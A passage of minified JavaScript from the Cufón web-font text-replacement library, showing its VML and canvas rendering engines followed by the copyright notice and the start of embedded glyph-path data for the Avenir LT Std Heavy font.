H=d.get(F).options;m.replace(F,G?h(H,H.hover):H,true)},10)}this.attach=function(F){if(F.onmouseenter===undefined){q(F,"mouseover",B);q(F,"mouseout",B)}else{q(F,"mouseenter",E);q(F,"mouseleave",E)}}}function u(){var C=[],D={};function B(H){var E=[],G;for(var F=0;G=H[F];++F){E[F]=C[D[G]]}return E}this.add=function(F,E){D[F]=C.push(E)-1};this.repeat=function(){var E=arguments.length?B(arguments):C,F;for(var G=0;F=E[G++];){m.replace(F[0],F[1],true)}}}function A(){var D={},B=0;function C(E){return E.cufid||(E.cufid=++B)}this.get=function(E){var F=C(E);return D[F]||(D[F]={})}}function a(B){var D={},C={};this.extend=function(E){for(var F in E){if(k(E,F)){D[F]=E[F]}}return this};this.get=function(E){return D[E]!=undefined?D[E]:B[E]};this.getSize=function(F,E){return C[F]||(C[F]=new n.Size(this.get(F),E))};this.isUsable=function(){return !!B}}function q(C,B,D){if(C.addEventListener){C.addEventListener(B,D,false)}else{if(C.attachEvent){C.attachEvent("on"+B,function(){return D.call(C,window.event)})}}}function v(C,B){var D=d.get(C);if(D.options){return C}if(B.hover&&B.hoverables[C.nodeName.toLowerCase()]){b.attach(C)}D.options=B;return C}function j(B){var C={};return function(D){if(!k(C,D)){C[D]=B.apply(null,arguments)}return C[D]}}function c(F,E){var B=n.quotedList(E.get("fontFamily").toLowerCase()),D;for(var C=0;D=B[C];++C){if(i[D]){return i[D].get(E.get("fontStyle"),E.get("fontWeight"))}}return null}function g(B){return document.getElementsByTagName(B)}function k(C,B){return C.hasOwnProperty(B)}function h(){var C={},B,F;for(var E=0,D=arguments.length;B=arguments[E],E<D;++E){for(F in B){if(k(B,F)){C[F]=B[F]}}}return C}function o(E,M,C,N,F,D){var K=document.createDocumentFragment(),H;if(M===""){return K}var L=N.separate;var I=M.split(p[L]),B=(L=="words");if(B&&t){if(/^\s/.test(M)){I.unshift("")}if(/\s$/.test(M)){I.push("")}}for(var J=0,G=I.length;J<G;++J){H=z[N.engine](E,B?n.textAlign(I[J],C,J,G):I[J],C,N,F,D,J<G-1);if(H){K.appendChild(H)}}return K}function l(D,M){var C=D.nodeName.toLowerCase();if(M.ignore[C]){return}var E=!M.textless[C];var B=n.getStyle(v(D,M)).extend(M);var F=c(D,B),G,K,I,H,L,J;if(!F){return}for(G=D.firstChild;G;G=I){K=G.nodeType;I=G.nextSibling;if(E&&K==3){if(H){H.appendData(G.data);D.removeChild(G)}else{H=G}if(I){continue}}if(H){D.replaceChild(o(F,n.whiteSpace(H.data,B,H,J),B,M,G,D),H);H=null}if(K==1){if(G.firstChild){if(G.nodeName.toLowerCase()=="cufon"){z[M.engine](F,null,B,M,G,D)}else{arguments.callee(G,M)}}J=G}}}var t=" ".split(/\s+/).length==0;var d=new A();var b=new r();var y=new u();var e=false;var z={},i={},w={autoDetect:false,engine:null,forceHitArea:false,hover:false,hoverables:{a:true},ignore:{applet:1,canvas:1,col:1,colgroup:1,head:1,iframe:1,map:1,optgroup:1,option:1,script:1,select:1,style:1,textarea:1,title:1,pre:1},printable:true,selector:(window.Sizzle||(window.jQuery&&function(B){return jQuery(B)})||(window.dojo&&dojo.query)||(window.Ext&&Ext.query)||(window.YAHOO&&YAHOO.util&&YAHOO.util.Selector&&YAHOO.util.Selector.query)||(window.$$&&function(B){return $$(B)})||(window.$&&function(B){return $(B)})||(document.querySelectorAll&&function(B){return document.querySelectorAll(B)})||g),separate:"words",textless:{dl:1,html:1,ol:1,table:1,tbody:1,thead:1,tfoot:1,tr:1,ul:1},textShadow:"none"};var p={words:/\s/.test("\u00a0")?/[^\S\u00a0]+/:/\s+/,characters:"",none:/^/};m.now=function(){x.ready();return m};m.refresh=function(){y.repeat.apply(y,arguments);return m};m.registerEngine=function(C,B){if(!B){return m}z[C]=B;return m.set("engine",C)};m.registerFont=function(D){if(!D){return m}var B=new s(D),C=B.family;if(!i[C]){i[C]=new f()}i[C].add(B);return m.set("fontFamily",'"'+C+'"')};m.replace=function(D,C,B){C=h(w,C);if(!C.engine){return m}if(!e){n.addClass(x.root(),"cufon-active cufon-loading");n.ready(function(){n.addClass(n.removeClass(x.root(),"cufon-loading"),"cufon-ready")});e=true}if(C.hover){C.forceHitArea=true}if(C.autoDetect){delete C.fontFamily}if(typeof C.textShadow=="string"){C.textShadow=n.textShadow(C.textShadow)}if(typeof C.color=="string"&&/^-/.test(C.color)){C.textGradient=n.gradient(C.color)}else{delete C.textGradient}if(!B){y.add(D,arguments)}if(D.nodeType||typeof D=="string"){D=[D]}n.ready(function(){for(var F=0,E=D.length;F<E;++F){var G=D[F];if(typeof G=="string"){m.replace(C.selector(G),C,true)}else{l(G,C)}}});return m};m.set=function(B,C){w[B]=C;return m};return m})();Cufon.registerEngine("vml",(function(){var e=document.namespaces;if(!e){return}e.add("cvml","urn:schemas-microsoft-com:vml");e=null;var b=document.createElement("cvml:shape");b.style.behavior="url(#default#VML)";if(!b.coordsize){return}b=null;var h=(document.documentMode||0)<8;document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m<l;++m){i.push(n[m][0]*100+"% "+n[m][1])}o.colors=i.join(",");o.color2=n[l][1];g[q]=o}return g[q]}return function(ac,G,Y,C,K,ad,W){var n=(G===null);if(n){G=K.alt}var I=ac.viewBox;var p=Y.computedFontSize||(Y.computedFontSize=new Cufon.CSS.Size(c(ad,Y.get("fontSize"))+"px",ac.baseSize));var y,q;if(n){y=K;q=K.firstChild}else{y=document.createElement("cufon");y.className="cufon cufon-vml";y.alt=G;q=document.createElement("cufoncanvas");y.appendChild(q);if(C.printable){var Z=document.createElement("cufontext");Z.appendChild(document.createTextNode(G));y.appendChild(Z)}if(!W){y.appendChild(document.createElement("cvml:shape"))}}var ai=y.style;var R=q.style;var l=p.convert(I.height),af=Math.ceil(l);var V=af/l;var P=V*Cufon.CSS.fontStretch(Y.get("fontStretch"));var U=I.minX,T=I.minY;R.height=af;R.top=Math.round(p.convert(T-ac.ascent));R.left=Math.round(p.convert(U));ai.height=p.convert(ac.height)+"px";var F=Y.get("color");var ag=Cufon.CSS.textTransform(G,Y).split("");var L=ac.spacing(ag,f(ad,Y,p,"letterSpacing"),f(ad,Y,p,"wordSpacing"));if(!L.length){return null}var k=L.total;var x=-U+k+(I.width-L[L.length-1]);var ah=p.convert(x*P),X=Math.round(ah);var O=x+","+I.height,m;var J="r"+O+"ns";var u=C.textGradient&&d(C.textGradient);var o=ac.glyphs,S=0;var H=C.textShadow;var ab=-1,aa=0,w;while(w=ag[++ab]){var D=o[ag[ab]]||ac.missingGlyph,v;if(!D){continue}if(n){v=q.childNodes[aa];while(v.firstChild){v.removeChild(v.firstChild)}}else{v=document.createElement("cvml:shape");q.appendChild(v)}v.stroked="f";v.coordsize=O;v.coordorigin=m=(U-S)+","+T;v.path=(D.d?"m"+D.d+"xe":"")+"m"+m+J;v.fillcolor=F;if(u){v.appendChild(u.cloneNode(false))}var ae=v.style;ae.width=X;ae.height=af;if(H){var s=H[0],r=H[1];var B=Cufon.CSS.color(s.color),z;var N=document.createElement("cvml:shadow");N.on="t";N.color=B.color;N.offset=s.offX+","+s.offY;if(r){z=Cufon.CSS.color(r.color);N.type="double";N.color2=z.color;N.offset2=r.offX+","+r.offY}N.opacity=B.opacity||(z&&z.opacity)||1;v.appendChild(N)}S+=L[aa++]}var M=v.nextSibling,t,A;if(C.forceHitArea){if(!M){M=document.createElement("cvml:rect");M.stroked="f";M.className="cufon-vml-cover";t=document.createElement("cvml:fill");t.opacity=0;M.appendChild(t);q.appendChild(M)}A=M.style;A.width=X;A.height=af}else{if(M){q.removeChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());Cufon.registerEngine("canvas",(function(){var b=document.createElement("canvas");if(!b||!b.getContext||!b.getContext.apply){return}b=null;var a=Cufon.CSS.supports("display","inline-block");var e=!a&&(document.compatMode=="BackCompat"||/frameset|transitional/i.test(document.doctype.publicId));var f=document.createElement("style");f.type="text/css";f.appendChild(document.createTextNode(("cufon{text-indent:0;}@media screen,projection{cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;"+(e?"":"font-size:1px;line-height:1px;")+"}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;overflow:hidden;text-indent:-10000in;}"+(a?"cufon canvas{position:relative;}":"cufon canvas{position:absolute;}")+"}@media print{cufon{padding:0;}cufon canvas{display:none;}}").replace(/;/g,"!important;")));document.getElementsByTagName("head")[0].appendChild(f);function d(p,h){var n=0,m=0;var g=[],o=/([mrvxe])([^a-z]*)/g,k;generate:for(var j=0;k=o.exec(p);++j){var l=k[2].split(",");switch(k[1]){case"v":g[j]={m:"bezierCurveTo",a:[n+~~l[0],m+~~l[1],n+~~l[2],m+~~l[3],n+=~~l[4],m+=~~l[5]]};break;case"r":g[j]={m:"lineTo",a:[n+=~~l[0],m+=~~l[1]]};break;case"m":g[j]={m:"moveTo",a:[n=~~l[0],m=~~l[1]]};break;case"x":g[j]={m:"closePath"};break;case"e":break generate}h[g[j].m].apply(h,g[j].a)}return g}function c(m,k){for(var j=0,h=m.length;j<h;++j){var g=m[j];k[g.m].apply(k,g.a)}}return function(V,w,P,t,C,W){var k=(w===null);if(k){w=C.getAttribute("alt")}var A=V.viewBox;var m=P.getSize("fontSize",V.baseSize);var B=0,O=0,N=0,u=0;var z=t.textShadow,L=[];if(z){for(var U=z.length;U--;){var F=z[U];var K=m.convertFrom(parseFloat(F.offX));var I=m.convertFrom(parseFloat(F.offY));L[U]=[K,I];if(I<B){B=I}if(K>O){O=K}if(I>N){N=I}if(K<u){u=K}}}var Z=Cufon.CSS.textTransform(w,P).split("");var E=V.spacing(Z,~~m.convertFrom(parseFloat(P.get("letterSpacing"))||0),~~m.convertFrom(parseFloat(P.get("wordSpacing"))||0));if(!E.length){return null}var h=E.total;O+=A.width-E[E.length-1];u+=A.minX;var s,n;if(k){s=C;n=C.firstChild}else{s=document.createElement("cufon");s.className="cufon cufon-canvas";s.setAttribute("alt",w);n=document.createElement("canvas");s.appendChild(n);if(t.printable){var S=document.createElement("cufontext");S.appendChild(document.createTextNode(w));s.appendChild(S)}}var aa=s.style;var H=n.style;var j=m.convert(A.height);var Y=Math.ceil(j);var M=Y/j;var G=M*Cufon.CSS.fontStretch(P.get("fontStretch"));var J=h*G;var Q=Math.ceil(m.convert(J+O-u));var o=Math.ceil(m.convert(A.height-B+N));n.width=Q;n.height=o;H.width=Q+"px";H.height=o+"px";B+=A.minY;H.top=Math.round(m.convert(B-V.ascent))+"px";H.left=Math.round(m.convert(u))+"px";var r=Math.max(Math.ceil(m.convert(J)),0)+"px";if(a){aa.width=r;aa.height=m.convert(V.height)+"px"}else{aa.paddingLeft=r;aa.paddingBottom=(m.convert(V.height)-1)+"px"}var X=n.getContext("2d"),D=j/A.height;X.scale(D,D*M);X.translate(-u,-B);X.save();function T(){var x=V.glyphs,ab,l=-1,g=-1,y;X.scale(G,1);while(y=Z[++l]){var ab=x[Z[l]]||V.missingGlyph;if(!ab){continue}if(ab.d){X.beginPath();if(ab.code){c(ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());;
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright 1989, 1995, 2002 Adobe Systems Incorporated. All rights reserved.
 * Copyright 1989, 1995, 2002 Linotype GmbH. All rights reserved.
 * 
 * Trademark:
 * Avenir is a trademark of Linotype GmbH registered in the U.S. Patent and
 * Trademark Office and may be registered in certain other jurisdictions.
 * 
 * Full name:
 * AvenirLTStd-Heavy
 * 
 * Manufacturer:
 * Adobe Systems Incorporated
 * 
 * Designer:
 * Adrian Frutiger
 * 
 * Vendor URL:
 * http://www.adobe.com/type
 * 
 * License information:
 * http://www.adobe.com/type/legal.html
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"147,-163v-7,-20,-30,-40,-45,-57r-39,18r-21,-21r38,-18v-6,-7,-20,-17,-27,-23r36,-21v13,10,25,22,30,27r40,-18r23,20r-42,19v35,38,64,83,64,137v0,60,-32,104,-94,104v-52,0,-94,-36,-94,-90v0,-69,77,-116,131,-77xm110,-35v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52v0,27,19,51,51,51","w":219},{"d":"182,-173r0,173r-41,0v-1,-9,2,-21,-1,-28v-8,17,-24,32,-53,32v-87,-2,-58,-99,-63,-177r44,0r0,88v0,19,1,50,31,50v61,-2,34,-83,40,-138r43,0xm86,-203r36,-52r49,0r-51,52r-34,0","w":206},{"d":"79,0r-15,22v21,0,43,1,43,29v0,40,-59,42,-88,25r8,-16v16,8,46,15,50,-8v-2,-22,-36,-4,-41,-20r22,-32r21,0","w":93},{"d":"28,0r0,-255r46,0r0,102r119,0r0,-102r45,0r0,255r-45,0r0,-112r-119,0r0,112r-46,0","w":266},{"d":"28,0r0,-255r169,0r0,41r-123,0r0,63r117,0r0,41r-117,0r0,69r130,0r0,41r-176,0xm45,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26xm120,-298v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26","w":219},{"d":"87,-155r0,-14v-19,24,-77,26,-77,-16v0,-36,46,-36,77,-36v1,-22,-43,-15,-54,-3r-16,-19v28,-25,99,-24,99,27r0,61r-29,0xm86,-197v-7,-5,-45,-3,-46,11v7,20,52,9,46,-11","w":125},{"d":"24,-105v0,-15,13,-28,29,-28v15,0,29,13,29,28v0,15,-13,28,-29,28v-15,0,-29,-13,-29,-28","w":106},{"d":"20,0r0,-184v0,-65,29,-92,87,-92v42,0,78,22,78,66v1,27,-16,46,-38,58v94,19,63,163,-27,156v-10,0,-21,-1,-31,-4r0,-36v35,13,73,-8,72,-46v0,-36,-24,-53,-60,-52r0,-36v23,1,40,-12,40,-34v0,-20,-16,-34,-36,-34v-29,0,-42,19,-42,44r0,194r-43,0","w":219},{"d":"16,-86v0,-54,42,-91,94,-91v52,0,94,37,94,91v0,54,-42,90,-94,90v-52,0,-94,-36,-94,-90xm59,-86v0,27,19,51,51,51v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52xm93,-203r36,-52r48,0r-50,52r-34,0","w":219},{"d":"-18,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26xm56,-229v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26","w":93},{"d":"105,-255r52,0v-19,32,-45,64,-60,95v54,-18,100,25,100,77v0,53,-38,87,-90,87v-86,0,-108,-92,-67,-156xm61,-83v0,26,21,46,47,46v26,0,46,-20,46,-46v0,-26,-20,-47,-46,-47v-26,0,-47,21,-47,47"},{"d":"28,0r0,-255r46,0v2,35,-4,77,2,108r105,-108r62,0r-120,118r128,137r-64,0r-111,-125r-2,0r0,125r-46,0","w":246},{"d":"186,-235r-33,35v-18,-28,-86,-30,-86,12v0,51,121,22,121,113v0,91,-128,104,-177,47r34,-33v19,34,95,38,95,-8v0,-56,-121,-24,-121,-115v1,-82,116,-99,167,-51xm38,-324r41,0r25,32r25,-32r39,0r-41,52r-48,0","w":206},{"d":"14,45r25,-95r44,0r-31,95r-38,0","w":106},{"d":"15,-126v0,-82,56,-135,134,-135v80,0,136,51,136,133v0,80,-56,134,-136,134v-78,0,-134,-52,-134,-132xm62,-129v0,54,35,94,88,94v53,0,88,-40,88,-94v0,-51,-35,-91,-88,-91v-53,0,-88,40,-88,91xm131,-324r36,52r-34,0r-51,-52r49,0","w":299},{"d":"257,-57r0,-64r-43,64r43,0xm256,0r0,-31r-71,0r0,-28r68,-94r40,0r0,92r19,0r0,30r-19,0r0,31r-37,0xm51,-168r0,-31v18,0,37,2,37,-16v0,-19,-39,-14,-41,4r-37,-7v7,-31,31,-41,59,-41v29,0,56,13,56,41v1,18,-13,29,-29,34v20,3,31,18,31,36v0,60,-112,63,-119,4r37,-8v0,23,47,25,46,0v0,-20,-21,-15,-40,-16xm76,-2r150,-264r30,13r-150,265","w":320},{"d":"22,-127r195,0r0,36r-195,0r0,-36xm93,-174v0,-15,12,-27,27,-27v15,0,27,12,27,27v0,15,-12,27,-27,27v-15,0,-27,-12,-27,-27xm93,-44v0,-15,12,-27,27,-27v15,0,27,12,27,27v0,15,-12,27,-27,27v-15,0,-27,-12,-27,-27","w":239},{"d":"0,0r111,-255r39,0r110,255r-52,0r-24,-58r-110,0r-23,58r-51,0xm89,-97r79,0r-39,-104xm111,-324r36,52r-34,0r-51,-52r49,0","w":259},{"d":"28,0r0,-255r169,0r0,41r-123,0r0,63r117,0r0,41r-117,0r0,69r130,0r0,41r-176,0xm93,-272r36,-52r49,0r-51,52r-34,0","w":219},{"d":"24,0r0,-173r42,0r0,28v8,-17,24,-32,53,-32v87,2,58,99,63,177r-43,0r0,-87v0,-19,-2,-51,-32,-51v-60,0,-33,83,-39,138r-44,0","w":206},{"d":"153,-255r0,184v0,41,-25,77,-76,77v-40,0,-67,-18,-75,-58r42,-10v3,17,15,27,31,27v26,0,33,-18,33,-49r0,-171r45,0","w":180},{"d":"15,-126v0,-82,56,-135,134,-135v80,0,136,51,136,133v0,80,-56,134,-136,134v-78,0,-134,-52,-134,-132xm62,-129v0,54,35,94,88,94v53,0,88,-40,88,-94v0,-51,-35,-91,-88,-91v-53,0,-88,40,-88,91xm216,-272r-41,0r-25,-33r-25,33r-40,0r41,-52r49,0","w":299},{"d":"28,0r0,-255r169,0r0,41r-123,0r0,63r117,0r0,41r-117,0r0,69r130,0r0,41r-176,0xm91,-324r36,52r-34,0r-51,-52r49,0","w":219},{"d":"127,-201r0,24v23,1,47,7,62,25r-28,28v-9,-9,-21,-15,-34,-16r0,108v13,0,26,-7,35,-17r27,28v-15,17,-40,24,-62,25r0,26r-19,0r0,-26v-49,-4,-80,-42,-80,-91v0,-50,31,-84,80,-90r0,-24r19,0xm108,-32r0,-108v-53,9,-51,98,0,108"},{"d":"15,-214r0,-41r173,0r0,40r-102,215r-50,0r104,-214r-125,0"},{"d":"64,-104r0,-114r-30,27r-20,-24r54,-42r33,0r0,153r-37,0","w":138},{"d":"302,-37r0,37r-148,0v-79,0,-139,-50,-139,-133v0,-75,61,-128,134,-128v73,0,134,53,134,128v0,53,-30,82,-54,96r73,0xm148,-220v-49,0,-86,37,-86,88v0,52,36,91,86,91v50,0,87,-39,87,-91v0,-51,-36,-88,-87,-88","w":306},{"d":"101,-107r0,37r-89,0r0,-37r89,0","w":113},{"d":"25,0r0,-98r-25,25r0,-40r25,-25r0,-134r43,0r0,92r25,-25r0,38r-25,25r0,142r-43,0","w":93},{"d":"181,-225r-38,21v-7,-27,-63,-34,-63,1v0,40,108,34,108,102v0,20,-13,38,-31,46v14,10,22,26,22,43v-4,80,-133,86,-160,20r39,-19v5,18,23,26,41,26v15,0,33,-5,33,-23v0,-40,-108,-33,-108,-100v0,-26,13,-42,34,-53v-15,-9,-23,-23,-23,-41v3,-72,116,-78,146,-23xm65,-117v0,32,43,33,65,47v29,-15,13,-45,-12,-57r-32,-15v-12,5,-21,11,-21,25"},{"d":"89,45r0,-167v-47,0,-78,-27,-78,-65v0,-83,100,-67,181,-68r0,300r-33,0r0,-274r-38,0r0,274r-32,0","w":216},{"d":"16,-86v0,-54,42,-91,94,-91v52,0,94,37,94,91v0,54,-42,90,-94,90v-52,0,-94,-36,-94,-90xm59,-86v0,27,19,51,51,51v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52xm175,-203r-41,0r-25,-32r-24,32r-41,0r42,-52r48,0","w":219},{"d":"68,-272r0,123v7,-14,24,-28,51,-28v87,2,58,99,63,177r-43,0r0,-87v0,-19,-2,-51,-32,-51v-60,0,-33,83,-39,138r-44,0r0,-272r44,0","w":206},{"d":"12,0r0,-40r93,-98r-88,0r0,-35r140,0r0,39r-94,99r98,0r0,35r-149,0xm22,-255r41,0r24,33r25,-33r40,0r-41,52r-48,0","w":173},{"d":"0,0r111,-255r39,0r110,255r-52,0r-24,-58r-110,0r-23,58r-51,0xm89,-97r79,0r-39,-104xm113,-272r36,-52r49,0r-51,52r-34,0","w":259},{"d":"24,0r0,-35r36,0r0,-78r-36,0r0,-31r36,0v-4,-66,9,-115,84,-115v26,0,51,7,69,23r-29,31v-25,-29,-85,-13,-80,29r0,32r58,0r0,31r-58,0r0,78r91,0r0,35r-171,0"},{"d":"28,0r0,-117r-23,0r0,-30r23,0r0,-108r101,0v67,0,129,42,129,128v0,125,-108,134,-230,127xm74,-41v76,4,137,-11,137,-86v0,-78,-59,-92,-137,-87r0,67r78,0r0,30r-78,0r0,76","w":273},{"d":"0,0r111,-255r39,0r110,255r-52,0r-24,-58r-110,0r-23,58r-51,0xm89,-97r79,0r-39,-104xm87,-274r-23,0v4,-23,13,-45,40,-45v0,0,59,30,68,-2r24,0v-4,23,-13,46,-40,46v-28,-1,-59,-31,-69,1","w":259},{"d":"180,45r-180,0r0,-18r180,0r0,18","w":180},{"d":"28,0r0,-255r46,0r0,49v70,-2,134,2,134,74v0,76,-64,77,-134,76r0,56r-46,0xm74,-95v39,-1,87,9,87,-36v0,-42,-47,-35,-87,-36r0,72","w":219},{"d":"99,0r-100,-255r52,0r70,193r71,-193r49,0r-103,255r-39,0","w":240,"k":{"\u00f6":20,"\u00f4":20,"\u00e8":20,"\u00eb":20,"\u00ea":20,"\u00e3":20,"\u00e5":20,"\u00e0":20,"\u00e4":20,"\u00e2":20,"y":6,"\u00fd":6,"\u00ff":6,"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,",":46,".":46,"e":20,"\u00e9":20,"o":20,"\u00f8":20,"\u0153":20,"\u00f3":20,"\u00f2":20,"\u00f5":20,"-":20,"a":20,"\u00e6":20,"\u00e1":20,"r":13,"u":13,"\u00fa":13,"\u00fb":13,"\u00fc":13,"\u00f9":13,":":17,";":17,"i":-4,"\u0131":-4,"\u00ed":-4,"\u00ee":-4,"\u00ef":-4,"\u00ec":-4}},{"d":"121,0r0,-52r-109,0r0,-43r103,-160r49,0r0,164r37,0r0,39r-37,0r0,52r-43,0xm121,-91r-1,-103r-64,103r65,0"},{"d":"67,-58r71,-72v-44,-28,-102,24,-71,72xm153,-114r-71,71v44,28,102,-23,71,-71xm193,-185r15,14r-25,26v49,56,5,149,-73,149v-22,0,-42,-6,-57,-17r-26,25r-14,-15r24,-24v-49,-55,-5,-150,73,-150v22,0,42,6,58,18","w":219},{"d":"14,-202v0,-32,26,-57,58,-57v32,0,58,25,58,57v0,32,-26,58,-58,58v-32,0,-58,-26,-58,-58xm42,-202v0,16,14,30,30,30v16,0,30,-14,30,-30v0,-16,-14,-29,-30,-29v-16,0,-30,13,-30,29","w":144},{"d":"132,0v-1,-7,2,-18,-1,-24v-25,45,-118,35,-118,-24v0,-59,70,-60,119,-60v4,-46,-63,-44,-85,-19r-23,-22v19,-19,47,-28,74,-28v74,0,73,54,73,78r0,99r-39,0xm86,-28v33,-1,46,-18,44,-49v-28,0,-74,-2,-74,26v0,16,16,23,30,23xm78,-255r36,52r-34,0r-51,-52r49,0","w":193},{"d":"67,-123r-42,0r80,-132r30,0r80,132r-43,0r-52,-87","w":239},{"d":"28,0r0,-255r61,0r124,189r0,-189r45,0r0,255r-57,0r-127,-195r0,195r-46,0","w":286},{"d":"27,0r0,-255r46,0r0,255r-46,0","w":100},{"d":"132,0v-1,-7,2,-18,-1,-24v-25,45,-118,35,-118,-24v0,-59,70,-60,119,-60v4,-46,-63,-44,-85,-19r-23,-22v19,-19,47,-28,74,-28v74,0,73,54,73,78r0,99r-39,0xm86,-28v33,-1,46,-18,44,-49v-28,0,-74,-2,-74,26v0,16,16,23,30,23xm80,-203r36,-52r49,0r-51,52r-34,0","w":193},{"d":"182,-173r0,173r-41,0v-1,-9,2,-21,-1,-28v-8,17,-24,32,-53,32v-87,-2,-58,-99,-63,-177r44,0r0,88v0,19,1,50,31,50v61,-2,34,-83,40,-138r43,0xm39,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26xm113,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26","w":206},{"d":"22,-160r195,0r0,37r-195,0r0,-37xm22,-95r195,0r0,37r-195,0r0,-37","w":239},{"d":"233,-255r0,161v0,62,-45,100,-103,100v-58,0,-103,-38,-103,-100r0,-161r46,0r0,160v0,25,13,58,57,58v44,0,57,-33,57,-58r0,-160r46,0xm65,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26xm139,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26","w":259},{"d":"16,-86v0,-54,42,-91,94,-91v52,0,94,37,94,91v0,54,-42,90,-94,90v-52,0,-94,-36,-94,-90xm59,-86v0,27,19,51,51,51v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52xm67,-204r-23,0v4,-23,13,-46,40,-46v0,0,59,30,68,-2r24,0v-4,23,-13,46,-40,46v-28,-1,-59,-31,-69,2","w":219},{"d":"70,-264v9,8,23,11,30,21v-61,80,-60,199,0,279r-30,20v-69,-89,-70,-231,0,-320","w":106},{"d":"35,-34r-22,-22r18,-17v-23,-29,-24,-80,0,-109r-18,-18r22,-21r17,17v29,-22,80,-23,109,0r18,-17r21,21r-17,18v24,31,22,79,0,109r17,17r-21,22r-18,-18v-29,23,-78,24,-109,0xm54,-128v0,33,21,55,53,55v32,0,52,-22,52,-55v0,-33,-20,-54,-52,-54v-32,0,-53,21,-53,54"},{"d":"14,-127v0,-121,65,-132,93,-132v28,0,92,11,92,132v0,121,-64,131,-92,131v-28,0,-93,-10,-93,-131xm58,-127v0,32,6,90,49,90v43,0,49,-58,49,-90v0,-32,-6,-91,-49,-91v-43,0,-49,59,-49,91"},{"d":"71,-153v-33,0,-60,-22,-60,-53v0,-32,27,-53,60,-53v34,0,61,21,61,53v0,31,-27,53,-61,53xm71,-179v41,-1,41,-53,0,-54v-40,1,-40,53,0,54","w":142},{"d":"22,-270r36,0r0,360r-36,0r0,-360","w":79},{"d":"75,1r-74,-174r48,0r49,120r43,-120r45,0r-82,210v-13,43,-49,57,-99,45r5,-39v24,10,51,5,57,-21xm77,-203r35,-52r49,0r-50,52r-34,0","w":186,"k":{",":33,".":33}},{"d":"24,82r0,-255r42,0r0,26v43,-63,145,-18,145,61v0,51,-35,90,-84,90v-33,0,-48,-16,-59,-26r0,104r-44,0xm168,-86v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52v0,27,19,51,51,51v32,0,51,-24,51,-51","w":226},{"d":"145,-151r-28,26v-10,-21,-59,-28,-59,1v0,31,93,6,93,73v0,67,-106,70,-142,29r29,-27v11,12,23,21,41,21v13,0,29,-6,29,-20v0,-36,-94,-7,-94,-73v1,-64,98,-73,131,-30xm15,-255r41,0r25,33r24,-33r40,0r-41,52r-48,0","w":159},{"d":"27,0r0,-255r46,0r0,255r-46,0xm33,-272r36,-52r49,0r-51,52r-34,0","w":100},{"d":"75,1r-74,-174r48,0r49,120r43,-120r45,0r-82,210v-13,43,-49,57,-99,45r5,-39v24,10,51,5,57,-21","w":186,"k":{",":33,".":33}},{"d":"101,-107r0,37r-89,0r0,-37r89,0","w":113},{"d":"75,1r-74,-174r48,0r49,120r43,-120r45,0r-82,210v-13,43,-49,57,-99,45r5,-39v24,10,51,5,57,-21xm29,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,